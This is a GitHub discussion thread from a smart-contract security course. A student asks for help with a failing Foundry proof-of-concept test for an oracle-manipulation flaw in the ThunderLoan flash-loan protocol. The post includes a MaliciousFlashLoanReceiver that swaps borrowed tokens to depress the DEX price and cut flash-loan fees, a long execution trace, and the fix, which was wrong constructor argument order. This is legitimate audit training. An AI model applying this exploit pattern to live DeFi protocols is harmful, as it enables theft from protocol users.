Lesson 40. ThunderLoan, failedInnerCall() #222

AllenGeorge08 · 2024-08-17T07:34:54Z

AllenGeorge08
Aug 17, 2024

I was going through this lesson 40 writing a poc for the oracle manipulation vulnerability.

I am getting a error here...



allen@LN08:~/Security-Course-Cyfrin/6-thunder-loan-audit$ forge test --mt testOracleManipulation -vvvvv
[⠒] Compiling...
No files changed, compilation skipped

Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[FAIL. Reason: FailedInnerCall()] testOracleManipulation() (gas: 8512337)
Logs:
  Normal fee is :  296147410319118389

Traces:
  [4513526] ThunderLoanTest::setUp()
    ├─ [2618988] → new ThunderLoan@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   ├─ emit Initialized(version: 18446744073709551615 [1.844e19])
    │   └─ ← [Return] 12963 bytes of code
    ├─ [121971] → new MockPoolFactory@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    │   └─ ← [Return] 609 bytes of code
    ├─ [449186] → new ERC20Mock@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
    │   └─ ← [Return] 2018 bytes of code
    ├─ [449186] → new ERC20Mock@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
    │   └─ ← [Return] 2018 bytes of code
    ├─ [102388] MockPoolFactory::createPool(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9])
    │   ├─ [25275] → new MockTSwapPool@0xffD4505B3452Dc22f8473616d50503bA9E1710Ac
    │   │   └─ ← [Return] 126 bytes of code
    │   └─ ← [Return] MockTSwapPool: [0xffD4505B3452Dc22f8473616d50503bA9E1710Ac]
    ├─ [58257] → new ERC1967Proxy@0xc7183455a4C133Ae270771860664b6B7ec320bB1
    │   ├─ emit Upgraded(implementation: ThunderLoan: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])
    │   └─ ← [Return] 170 bytes of code
    ├─ [115785] ERC1967Proxy::initialize(MockPoolFactory: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   ├─ [115395] ThunderLoan::initialize(MockPoolFactory: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [delegatecall]
    │   │   ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   │   ├─ emit Initialized(version: 1)
    │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [0] VM::prank(0x00000000000000000000000000000000000001c8)
    │   └─ ← [Return] 
    ├─ [261741] → new MockFlashLoanReceiver@0x1cF5c39A1828B446da31fADb01059F2A6B9B327b
    │   └─ ← [Return] 1074 bytes of code
    └─ ← [Stop] 

  [8512337] ThunderLoanTest::testOracleManipulation()
    ├─ [2618988] → new ThunderLoan@0xa0Cb889707d426A7A386870A03bc70d1b0697598
    │   ├─ emit Initialized(version: 18446744073709551615 [1.844e19])
    │   └─ ← [Return] 12963 bytes of code
    ├─ [449186] → new ERC20Mock@0x1d1499e622D69689cdf9004d05Ec547d650Ff211
    │   └─ ← [Return] 2018 bytes of code
    ├─ [1849785] → new BuffMockPoolFactory@0xA4AD4f68d0b91CFD19687c881e50f3A00242828c
    │   └─ ← [Return] 9238 bytes of code
    ├─ [58257] → new ERC1967Proxy@0x03A6a84cD762D9707A21605b548aaaB891562aAb
    │   ├─ emit Upgraded(implementation: ThunderLoan: [0xa0Cb889707d426A7A386870A03bc70d1b0697598])
    │   └─ ← [Return] 170 bytes of code
    ├─ [1590924] BuffMockPoolFactory::createPool(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211])
    │   ├─ [1509894] → new BuffMockTSwap@0xeafCcCE3F73a1ac8690F49acF56C4142183619dd
    │   │   └─ ← [Return] 7308 bytes of code
    │   ├─ emit PoolCreated(tokenAddress: ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], poolAddress: BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd])
    │   └─ ← [Return] BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]
    ├─ [115785] ERC1967Proxy::initialize(BuffMockPoolFactory: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c])
    │   ├─ [115395] ThunderLoan::initialize(BuffMockPoolFactory: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c]) [delegatecall]
    │   │   ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   │   ├─ emit Initialized(version: 1)
    │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000007B)
    │   └─ ← [Return] 
    ├─ [46789] ERC20Mock::mint(0x000000000000000000000000000000000000007B, 100000000000000000000 [1e20])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 100000000000000000000 [1e20])
    │   └─ ← [Stop] 
    ├─ [24739] ERC20Mock::approve(BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], 100000000000000000000 [1e20])
    │   ├─ emit Approval(owner: 0x000000000000000000000000000000000000007B, spender: BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], value: 100000000000000000000 [1e20])
    │   └─ ← [Return] true
    ├─ [46789] ERC20Mock::mint(0x000000000000000000000000000000000000007B, 100000000000000000000 [1e20])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 100000000000000000000 [1e20])
    │   └─ ← [Stop] 
    ├─ [24739] ERC20Mock::approve(BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], 100000000000000000000 [1e20])
    │   ├─ emit Approval(owner: 0x000000000000000000000000000000000000007B, spender: BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], value: 100000000000000000000 [1e20])
    │   └─ ← [Return] true
    ├─ [103954] BuffMockTSwap::deposit(100000000000000000000 [1e20], 100000000000000000000 [1e20], 100000000000000000000 [1e20], 1)
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 100000000000000000000 [1e20])
    │   ├─ emit LiquidityAdded(liquidityProvider: 0x000000000000000000000000000000000000007B, wethDeposited: 100000000000000000000 [1e20], poolTokensDeposited: 100000000000000000000 [1e20])
    │   ├─ [26062] ERC20Mock::transferFrom(0x000000000000000000000000000000000000007B, BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], 100000000000000000000 [1e20])
    │   │   ├─ emit Transfer(from: 0x000000000000000000000000000000000000007B, to: BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], value: 100000000000000000000 [1e20])
    │   │   └─ ← [Return] true
    │   ├─ [26062] ERC20Mock::transferFrom(0x000000000000000000000000000000000000007B, BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], 100000000000000000000 [1e20])
    │   │   ├─ emit Transfer(from: 0x000000000000000000000000000000000000007B, to: BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd], value: 100000000000000000000 [1e20])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] 100000000000000000000 [1e20]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [832] ERC1967Proxy::owner() [staticcall]
    │   ├─ [442] ThunderLoan::owner() [delegatecall]
    │   │   └─ ← [Return] ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
    │   └─ ← [Return] ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
    ├─ [0] VM::prank(ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← [Return] 
    ├─ [799016] ERC1967Proxy::setAllowedToken(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], true)
    │   ├─ [798620] ThunderLoan::setAllowedToken(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], true) [delegatecall]
    │   │   ├─ [1178] ERC20Mock::name() [staticcall]
    │   │   │   └─ ← [Return] "ERC20Mock"
    │   │   ├─ [1221] ERC20Mock::symbol() [staticcall]
    │   │   │   └─ ← [Return] "E20M"
    │   │   ├─ [735164] → new AssetToken@0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e
    │   │   │   └─ ← [Return] 3329 bytes of code
    │   │   ├─ emit AllowedTokenSet(token: ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], asset: AssetToken: [0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e], allowed: true)
    │   │   └─ ← [Return] AssetToken: [0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e]
    │   └─ ← [Return] AssetToken: [0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e]
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000007B)
    │   └─ ← [Return] 
    ├─ [22889] ERC20Mock::mint(0x000000000000000000000000000000000000007B, 1000000000000000000000 [1e21])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 1000000000000000000000 [1e21])
    │   └─ ← [Stop] 
    ├─ [24739] ERC20Mock::approve(ERC1967Proxy: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 1000000000000000000000 [1e21])
    │   ├─ emit Approval(owner: 0x000000000000000000000000000000000000007B, spender: ERC1967Proxy: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], value: 1000000000000000000000 [1e21])
    │   └─ ← [Return] true
    ├─ [86938] ERC1967Proxy::deposit(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 1000000000000000000000 [1e21])
    │   ├─ [86545] ThunderLoan::deposit(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   ├─ [380] AssetToken::getExchangeRate() [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   ├─ [240] AssetToken::EXCHANGE_RATE_PRECISION() [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   ├─ emit Deposit(account: 0x000000000000000000000000000000000000007B, token: ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], amount: 1000000000000000000000 [1e21])
    │   │   ├─ [46896] AssetToken::mint(0x000000000000000000000000000000000000007B, 1000000000000000000000 [1e21])
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 1000000000000000000000 [1e21])
    │   │   │   └─ ← [Stop] 
    │   │   ├─ [567] BuffMockPoolFactory::getPool(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211]) [staticcall]
    │   │   │   └─ ← [Return] BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]
    │   │   ├─ [2763] BuffMockTSwap::getPriceOfOnePoolTokenInWeth() [staticcall]
    │   │   │   ├─ [562] ERC20Mock::balanceOf(BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]) [staticcall]
    │   │   │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   │   │   ├─ [562] ERC20Mock::balanceOf(BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]) [staticcall]
    │   │   │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   │   │   └─ ← [Return] 987158034397061298 [9.871e17]
    │   │   ├─ [2174] AssetToken::updateExchangeRate(2961474103191183894 [2.961e18])
    │   │   │   ├─ emit ExchangeRateUpdated(newExchangeRate: 1002961474103191183 [1.002e18])
    │   │   │   └─ ← [Stop] 
    │   │   ├─ [26062] ERC20Mock::transferFrom(0x000000000000000000000000000000000000007B, AssetToken: [0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e], 1000000000000000000000 [1e21])
    │   │   │   ├─ emit Transfer(from: 0x000000000000000000000000000000000000007B, to: AssetToken: [0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e], value: 1000000000000000000000 [1e21])
    │   │   │   └─ ← [Return] true
    │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [5761] ERC1967Proxy::getCalculatedFee(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 100000000000000000000 [1e20]) [staticcall]
    │   ├─ [5365] ThunderLoan::getCalculatedFee(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 100000000000000000000 [1e20]) [delegatecall]
    │   │   ├─ [567] BuffMockPoolFactory::getPool(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211]) [staticcall]
    │   │   │   └─ ← [Return] BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]
    │   │   ├─ [2763] BuffMockTSwap::getPriceOfOnePoolTokenInWeth() [staticcall]
    │   │   │   ├─ [562] ERC20Mock::balanceOf(BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]) [staticcall]
    │   │   │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   │   │   ├─ [562] ERC20Mock::balanceOf(BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]) [staticcall]
    │   │   │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   │   │   └─ ← [Return] 987158034397061298 [9.871e17]
    │   │   └─ ← [Return] 296147410319118389 [2.961e17]
    │   └─ ← [Return] 296147410319118389 [2.961e17]
    ├─ [0] console::log("Normal fee is : ", 296147410319118389 [2.961e17]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [999] ERC1967Proxy::getAssetFromToken(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211]) [staticcall]
    │   ├─ [606] ThunderLoan::getAssetFromToken(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211]) [delegatecall]
    │   │   └─ ← [Return] AssetToken: [0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e]
    │   └─ ← [Return] AssetToken: [0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e]
    ├─ [342575] → new MaliciousFlashLoanReceiver@0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF
    │   └─ ← [Return] 1377 bytes of code
    ├─ [0] VM::startPrank(0x00000000000000000000000000000000000001c8)
    │   └─ ← [Return] 
    ├─ [24889] ERC20Mock::mint(MaliciousFlashLoanReceiver: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 100000000000000000000 [1e20])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: MaliciousFlashLoanReceiver: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], value: 100000000000000000000 [1e20])
    │   └─ ← [Stop] 
    ├─ [66356] ERC1967Proxy::flashloan(MaliciousFlashLoanReceiver: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 50000000000000000000 [5e19], 0x)
    │   ├─ [65941] ThunderLoan::flashloan(MaliciousFlashLoanReceiver: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 50000000000000000000 [5e19], 0x) [delegatecall]
    │   │   ├─ [562] ERC20Mock::balanceOf(AssetToken: [0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e]) [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   │   ├─ [567] BuffMockPoolFactory::getPool(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211]) [staticcall]
    │   │   │   └─ ← [Return] BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]
    │   │   ├─ [2763] BuffMockTSwap::getPriceOfOnePoolTokenInWeth() [staticcall]
    │   │   │   ├─ [562] ERC20Mock::balanceOf(BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]) [staticcall]
    │   │   │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   │   │   ├─ [562] ERC20Mock::balanceOf(BuffMockTSwap: [0xeafCcCE3F73a1ac8690F49acF56C4142183619dd]) [staticcall]
    │   │   │   │   └─ ← [Return] 100000000000000000000 [1e20]
    │   │   │   └─ ← [Return] 987158034397061298 [9.871e17]
    │   │   ├─ [2174] AssetToken::updateExchangeRate(148073705159559194 [1.48e17])
    │   │   │   ├─ emit ExchangeRateUpdated(newExchangeRate: 1003109986324793935 [1.003e18])
    │   │   │   └─ ← [Stop] 
    │   │   ├─ emit FlashLoan(receiverAddress: MaliciousFlashLoanReceiver: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], token: ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], amount: 50000000000000000000 [5e19], fee: 148073705159559194 [1.48e17], params: 0x)
    │   │   ├─ [5131] AssetToken::transferUnderlyingTo(MaliciousFlashLoanReceiver: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 50000000000000000000 [5e19])
    │   │   │   ├─ [3310] ERC20Mock::transfer(MaliciousFlashLoanReceiver: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], 50000000000000000000 [5e19])
    │   │   │   │   ├─ emit Transfer(from: AssetToken: [0x61a0009C8E5f6e87CAf2D3B57081c27882a0187e], to: MaliciousFlashLoanReceiver: [0xD6BbDE9174b1CdAa358d2Cf4D57D1a9F7178FBfF], value: 50000000000000000000 [5e19])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Stop] 
    │   │   ├─ [24027] MaliciousFlashLoanReceiver::executeOperation(ERC20Mock: [0x1d1499e622D69689cdf9004d05Ec547d650Ff211], 50000000000000000000 [5e19], 148073705159559194 [1.48e17], 0x00000000000000000000000000000000000001c8, 0x)
    │   │   │   ├─ [634] ERC1967Proxy::getOutputAmountBasedOnInput(50000000000000000000 [5e19], 100000000000000000000 [1e20], 100000000000000000000 [1e20]) [staticcall]
    │   │   │   │   ├─ [234] ThunderLoan::getOutputAmountBasedOnInput(50000000000000000000 [5e19], 100000000000000000000 [1e20], 100000000000000000000 [1e20]) [delegatecall]
    │   │   │   │   │   └─ ← [Revert] EvmError: Revert
    │   │   │   │   └─ ← [Revert] EvmError: Revert
    │   │   │   └─ ← [Revert] EvmError: Revert
    │   │   └─ ← [Revert] FailedInnerCall()
    │   └─ ← [Revert] FailedInnerCall()
    └─ ← [Revert] FailedInnerCall()

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.91ms (1.97ms CPU time)

Ran 1 test suite in 1.63s (3.91ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[FAIL. Reason: FailedInnerCall()] testOracleManipulation() (gas: 8512337)

Encountered a total of 1 failing tests, 0 tests succeeded
allen@LN08:~/Security-Course-Cyfrin/6-thunder-loan-audit$

This is my test file

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.sol";
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { IFlashLoanReceiver } from "src/interfaces/IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ThunderLoanTest is BaseTest {
    uint256 constant AMOUNT = 10e18;
    uint256 constant DEPOSIT_AMOUNT = AMOUNT * 100; //1000e18
    address liquidityProvider = address(123);
    address user = address(456);
    MockFlashLoanReceiver mockFlashLoanReceiver;

    function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan));
    }

    function testInitializationOwner() public view {
        assertEq(thunderLoan.owner(), address(this));
    }

    function testSetAllowedTokens() public {
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        assertEq(thunderLoan.isAllowedToken(tokenA), true);
    }

    function testOnlyOwnerCanSetTokens() public {
        vm.prank(liquidityProvider);
        vm.expectRevert();
        thunderLoan.setAllowedToken(tokenA, true);
    }

    function testSettingTokenCreatesAsset() public {
        vm.prank(thunderLoan.owner());
        AssetToken assetToken = thunderLoan.setAllowedToken(tokenA, true);
        assertEq(address(thunderLoan.getAssetFromToken(tokenA)), address(assetToken));
    }

    function testCantDepositUnapprovedTokens() public {
        tokenA.mint(liquidityProvider, AMOUNT);
        tokenA.approve(address(thunderLoan), AMOUNT);
        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.ThunderLoan__NotAllowedToken.selector, address(tokenA)));
        thunderLoan.deposit(tokenA, AMOUNT);
    }

    modifier setAllowedToken() {
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        _;
    }

    function testDepositMintsAssetAndUpdatesBalance() public setAllowedToken {
        tokenA.mint(liquidityProvider, AMOUNT);

        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), AMOUNT);
        thunderLoan.deposit(tokenA, AMOUNT);
        vm.stopPrank();

        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
        assertEq(tokenA.balanceOf(address(asset)), AMOUNT);
        assertEq(asset.balanceOf(liquidityProvider), AMOUNT);
    }

    modifier hasDeposits() {
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();
        _;
    }

    function testFlashLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        assertEq(mockFlashLoanReceiver.getBalanceDuring(), amountToBorrow + AMOUNT);
        assertEq(mockFlashLoanReceiver.getBalanceAfter(), AMOUNT - calculatedFee);
    }

    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        // 1000e18
        // 3e17 was the fees
        //1000e18 + 3ee17 = 1000.3e17
        //trying to pull out 10003.00000000000000000 1.0003e21 because in deposit , the fee is being updated , without
        // that it passed.

        uint256 amountToRedeem = type(uint256).max; //See redeem function for this
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }

    function testOracleManipulation() public {
        //1. Setup contracts! , look into the buff mock and BaseTest.t.sol
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();

        BuffMockPoolFactory PoolFactory = new BuffMockPoolFactory(address(weth));
        proxy = new ERC1967Proxy(address(thunderLoan), "");

        //Creating a TSwap Dex between Weth and Token A
        address TSwapPool = PoolFactory.createPool(address(tokenA));

        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(PoolFactory));

        //2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(TSwapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(TSwapPool), 100e18);

        BuffMockTSwap(TSwapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();

        //Ratio 100 WETH  & 100 Token A . 1:1 Ratio

        //3. Fund ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);

        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);

        vm.stopPrank();

        //100 WETH & 100 TokenA in TSwap
        //1000 TokenA in ThunderLoan
        // Take out a flash loan of a 50 tokenA
        //Swap it on the dex, tanking the price --> 150 tokenA --> ~80 WETH

        //Screwed the reserves
        //Take out another flashloan of 50 tokena (and we'll see how much cheaper it is).

        //4. We are going to take 2 flash loans
        //   a. To nuke the price of the Weth/TokenA on TSwap
        //   b. To Show that doing so greatly reduces the fee we pay on thunder loan.

        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console.log("Normal fee is : ", normalFeeCost);
        //0.296147410319118389
        

        uint256 amountToBorrow = 50e18; //we gonna do this twice
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(address(thunderLoan),  address(thunderLoan.getAssetFromToken(tokenA)), address(TSwapPool) );

        vm.startPrank(user);
        tokenA.mint(address(flr),100e18); //way more tokens with fee
        thunderLoan.flashloan(address(flr),tokenA, amountToBorrow,"" );
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("Attack fee is : ", attackFee);

    }
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap TswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public  feeTwo;

    //1. Swap tokenA borrowed for WETH
    //2. Take out Another flash loan, to show the differences.

    constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
        TswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, //initiator
        bytes calldata //params
    )
        external
        returns (bool)
    {
        if (!attacked) {
            //1. Swap tokenA borrowed for WETH
            //2. Take out another flash loan, to show the difference...
            feeOne = fee;
            attacked = true;
            uint256 wethBought = TswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(TswapPool), 50e18);
            TswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp);
            //we call a second flash loan!!

            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            //repay
            // IERC20(token).approve(address(thunderLoan), amount + fee); //Mint some more fee
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress),amount+fee);
        } else {
            //calculate the fee and repay
            feeTwo = fee;

            // IERC20(token).approve(address(thunderLoan), amount + fee); //Mint some more fee
            // thunderLoan.repay(IERC20(token), amount + fee);

            //repay
            IERC20(token).transfer(address(repayAddress),amount+fee);
        }
        return true;
        
    }

    //IMPACT: Medium/Low -> Users are getting cheaper fees
    //Likelihood: High --> High
}

Not able to figure out what exactly is the issue. Need help

AllenGeorge08 · 2024-08-17T09:05:46Z

AllenGeorge08
Aug 17, 2024
Author

It's solved. This was the issue. Placement of the parameters plays a big role.

I rewrote this code


MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
  address(TSwapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
);

Instead of


MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
  address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)), address(TSwapPool)
);

For anyone who faces the same issue. Wasted my 4 hrs successfully lol.

1 reply

EngrPips Aug 17, 2024

Thanks for putting the solution here, You are the best.

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Lesson 40. ThunderLoan, failedInnerCall() #222

Uh oh!

{{title}}

Uh oh!

Replies: 1 comment 1 reply

Uh oh!

{{title}}

Uh oh!

Uh oh!

{{editor}}'s edit

{{editor}}'s edit

Uh oh!

Uh oh!

{{title}}

Uh oh!

Select a reply

Uh oh!

Lesson 40. ThunderLoan, failedInnerCall() #222

Uh oh!

AllenGeorge08 Aug 17, 2024

Replies: 1 comment · 1 reply

Uh oh!

Uh oh!

AllenGeorge08 Aug 17, 2024 Author

Uh oh!

EngrPips Aug 17, 2024

AllenGeorge08
Aug 17, 2024

Replies: 1 comment 1 reply

AllenGeorge08
Aug 17, 2024
Author